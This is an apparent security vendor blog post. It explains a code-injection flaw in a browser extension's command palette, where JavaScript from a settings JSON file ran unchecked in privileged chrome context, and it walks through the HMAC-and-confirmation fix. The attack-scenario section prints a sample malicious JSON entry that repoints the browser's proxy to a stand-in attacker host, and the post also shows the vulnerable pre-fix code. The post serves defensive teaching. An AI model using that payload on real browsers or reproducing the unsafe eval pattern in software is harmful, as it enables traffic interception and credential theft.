How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It
Introduction
The command-palette/dynamic-commands.js file is responsible for loading and executing user-defined custom commands in a browser extension's command palette. It reads command definitions — including raw JavaScript code — from a settings JSON file, then executes them on demand. That sounds powerful and flexible. It is. It is also exactly the kind of feature that becomes a critical security vulnerability the moment the settings file can be written by anyone other than a fully trusted source.
At line 390 of dynamic-commands.js, the generateCustomCommands() function passed cmd.code — a string read directly from a JSON file on disk — into Cu.evalInSandbox() with wantXrays: false and sandboxPrototype: window. No validation. No hash check. No user confirmation. Any attacker who could write a single JSON file to the user's profile directory could execute arbitrary JavaScript in the browser's privileged chrome context.
This post walks through exactly how that happened, how it was fixed, and what every developer building plugin or scripting systems should take away from it.
The Vulnerability Explained
What the Code Was Doing
Inside generateCustomCommands(), commands of type 'js' were handled like this (simplified from the pre-fix code):
// VULNERABLE — before the fix
if (cmd.type === "js") {
commandFunc = async () => {
try {
Cu.evalInSandbox(
cmd.code, // <-- raw string from settings JSON
sandbox,
"latest",
"custom-command",
1,
{ wantXrays: false, sandboxPrototype: window } // full window access
);
} catch (e) {
showToast(`Error: ${e.message}`);
}
};
}
cmd.code comes from Storage.loadSettings(), which reads a JSON file at the path configured by the zen-command-palette.settings-file-path preference (defaulting to chrome/zen-commands-settings.json). That file is a plain text file on disk — no cryptographic signature, no integrity check.
Why Cu.evalInSandbox() with These Options Is Dangerous
Cu.evalInSandbox() is a Mozilla-specific API used in browser chrome code to execute JavaScript in a controlled compartment. The key problem here is the options object:
{ wantXrays: false, sandboxPrototype: window }
sandboxPrototype: window— The sandbox inherits from the chromewindowobject, giving executed code access to the full browser window API, including tabs, preferences, native file I/O bridges, and more.wantXrays: false— Disables X-ray vision, meaning the injected code sees the real underlying objects rather than safe wrappers. This removes a key layer of Mozilla's security architecture.
This is not a safe sandbox. It is the browser's most privileged execution environment with the guardrails turned off.
The Attack Scenario
Here is a concrete, step-by-step attack against this specific code:
-
Attacker gains write access to
chrome/zen-commands-settings.json— this could be a malicious npm package, a compromised local application, a symlink attack, or simply a social-engineering trick ("paste this config to unlock features"). -
Attacker injects a malicious command entry into the settings JSON:
{
"commands": [
{
"name": "Update Preferences",
"type": "js",
"code": "const {Services} = ChromeUtils.import('resource://gre/modules/Services.jsm'); Services.prefs.setCharPref('network.proxy.http', 'evil.example.com'); Services.prefs.setIntPref('network.proxy.http_port', 8080);"
}
]
}
-
User opens the command palette and sees a command named "Update Preferences" — it looks like a legitimate built-in command.
-
User activates the command.
generateCustomCommands()readscmd.codefrom the JSON and passes it verbatim toCu.evalInSandbox(). -
The injected code runs in the chrome context, silently reconfiguring the browser's network proxy to route all traffic through an attacker-controlled server. From there, the attacker can intercept credentials, inject content into web pages, or pivot further.
The same technique could be used to exfiltrate browser-stored passwords, install a persistent backdoor via userChrome.js, or disable security preferences — all without any user-visible warning.
Why This Matters Beyond This Repository
This pattern — "load code from a config file and eval it" — appears in countless plugin systems, scripting engines, and developer tools. The vulnerability is not unique to this codebase; it is a recurring architectural mistake. The lesson here applies to VS Code extensions, Electron apps, browser extensions, and any Node.js application that supports user-defined scripts.
The Fix
What Changed
The fix introduces a cryptographic approval workflow using three new utility functions imported from ./utils/trust.js:
import { hmacCode, loadApprovedHashes, trustHash } from "./utils/trust.js";
Inside the commandFunc for 'js' type commands, the execution path now looks like this:
// FIXED — after the patch
if (cmd.type === "js") {
commandFunc = async () => {
try {
const approvedHashes = await loadApprovedHashes();
const codeHash = await hmacCode(cmd.code);
if (!approvedHashes[codeHash]) {
const preview = cmd.code.length > 200
? cmd.code.slice(0, 200) + "…"
: cmd.code;
const approved = window.confirm(
`Run custom JS command "${cmd.name}"?\n\n` +
`This will execute the following JavaScript in the browser:\n\n` +
preview
);
// ... if approved, call trustHash(codeHash) to persist approval
}
// only reaches Cu.evalInSandbox() if hash is approved
} catch (e) {
showToast(`Error: ${e.message}`);
}
};
}
Before vs. After
| Aspect | Before | After |
|---|---|---|
| Input validation | None | HMAC hash checked against allowlist |
| User awareness | Silent execution | Explicit confirmation dialog with code preview |
| Persistence | N/A | Approved hashes stored via trustHash() |
| Attack surface | Any writable JSON file | Requires user interaction per unique code snippet |
How Each Part of the Fix Contributes
hmacCode(cmd.code) — Computes an HMAC of the raw code string. HMAC (Hash-based Message Authentication Code) produces a fixed-length digest that is unique to the exact byte sequence of the code. If an attacker modifies even one character of a previously approved command, the hash changes and re-approval is required.
loadApprovedHashes() — Loads a persisted map of previously approved HMAC digests. This means users only see the confirmation dialog once per unique code snippet — legitimate commands are not repeatedly interrupted.
window.confirm() with code preview — If the hash is not in the approved set, the user sees a dialog showing the command name and the first 200 characters of the code. This is a meaningful security boundary: a silent attacker injection is now surfaced as an explicit, visible prompt that a security-conscious user can reject.
trustHash(codeHash) — Persists the approval so subsequent invocations of the same code do not require re-confirmation.
This is a defense-in-depth approach. Even if an attacker writes to the settings file, the injected code cannot execute without the user explicitly approving it through a dialog that shows them what they are about to run.
Prevention & Best Practices
1. Treat All External Code as Untrusted Input
Any code loaded from disk, a network endpoint, a database, or a configuration file is untrusted input — even if the user wrote it themselves. Apply the same scrutiny you would to an HTTP request parameter.
2. Prefer Declarative Plugin APIs Over Code Execution
Instead of allowing plugins to supply raw JavaScript, define a declarative API:
{
"name": "Open Settings",
"type": "action",
"action": "openPreferences",
"args": { "pane": "general" }
}
This eliminates the eval() attack surface entirely. If scripting is genuinely required, scope it to a minimal, well-defined API surface.
3. Use Strict Sandbox Configuration
If Cu.evalInSandbox() must be used, do not set sandboxPrototype: window unless absolutely necessary, and keep wantXrays at its default (true). Prefer a minimal sandbox prototype that exposes only the APIs the plugin legitimately needs.
4. Cryptographic Code Signing
For production plugin systems, consider requiring plugins to be signed with a developer key, and verify the signature before execution. This is stronger than HMAC-based user approval because it does not rely on the user making a security decision.
5. Content Security Policy (CSP)
For web-based contexts, a strict CSP with script-src 'self' and no unsafe-eval directive prevents eval()-based injection. Browser extensions should declare their CSP in the manifest.
6. Static Analysis
Add Semgrep or ESLint security rules to your CI pipeline to catch eval()-with-user-input patterns before they reach production:
# Example Semgrep rule concept
rules:
- id: unsafe-eval-user-input
pattern: Cu.evalInSandbox($CODE, ...)
message: Ensure $CODE is validated and approved before execution
Relevant Standards
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- OWASP A03:2021: Injection
- OWASP Testing Guide: Testing for JavaScript Injection (OTG-CLIENT-002)
Key Takeaways
Cu.evalInSandbox()withsandboxPrototype: windowandwantXrays: falseis not a sandbox — it is the browser's most privileged execution context with safety features disabled. Never pass unvalidated external data into it.- Settings files on disk are attack surfaces. The path
chrome/zen-commands-settings.jsonis writable by any process running as the current user. Treat its contents as untrusted input, not as trusted configuration. - HMAC hashing + user approval is a pragmatic middle ground when eval() cannot be eliminated. It ensures users see and explicitly consent to what code will run, and that previously approved code cannot be silently swapped out.
- The 200-character preview in the confirmation dialog matters. Showing users the actual code — not just the command name — prevents social engineering attacks where a malicious command is given a benign-sounding name like "Update Preferences."
- Importing trust utilities (
hmacCode,loadApprovedHashes,trustHash) as a module means the approval logic is centralized and testable, rather than duplicated inline wherever dynamic code execution occurs.
How Orbis AppSec Detected This
- Source:
cmd.codefield loaded fromStorage.loadSettings(), which reads a user-controlled JSON file at the path specified by thezen-command-palette.settings-file-pathpreference. - Sink:
Cu.evalInSandbox(cmd.code, sandbox, "latest", "custom-command", 1, { wantXrays: false, sandboxPrototype: window })atcommand-palette/dynamic-commands.js:390. - Missing control: No hash verification, no signature check, no user confirmation, and no validation of the
cmd.codefield before passing it to the privileged execution API. - CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection').
- Fix: An HMAC digest of each code snippet is computed via
hmacCode(), checked against a persisted allowlist vialoadApprovedHashes(), and — if not previously approved — presented to the user in an explicit confirmation dialog beforeCu.evalInSandbox()is invoked.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The generateCustomCommands() vulnerability in dynamic-commands.js is a textbook example of how a genuinely useful feature — user-defined scripting — becomes a critical security hole when the code being executed is not treated as untrusted input. The browser chrome context is one of the most privileged execution environments in a desktop system. Passing arbitrary strings from a writable JSON file into it, silently and without user awareness, is equivalent to offering any local process a root shell.
The HMAC-based approval fix is elegant because it does not remove the feature. Users can still write and run custom JavaScript commands. What they can no longer do — and what attackers can no longer exploit — is have code run silently without the user's knowledge and explicit consent. Every developer building a plugin or scripting system should apply the same principle: make the execution of dynamic code a visible, auditable, and user-confirmed action, not a silent side effect of loading a configuration file.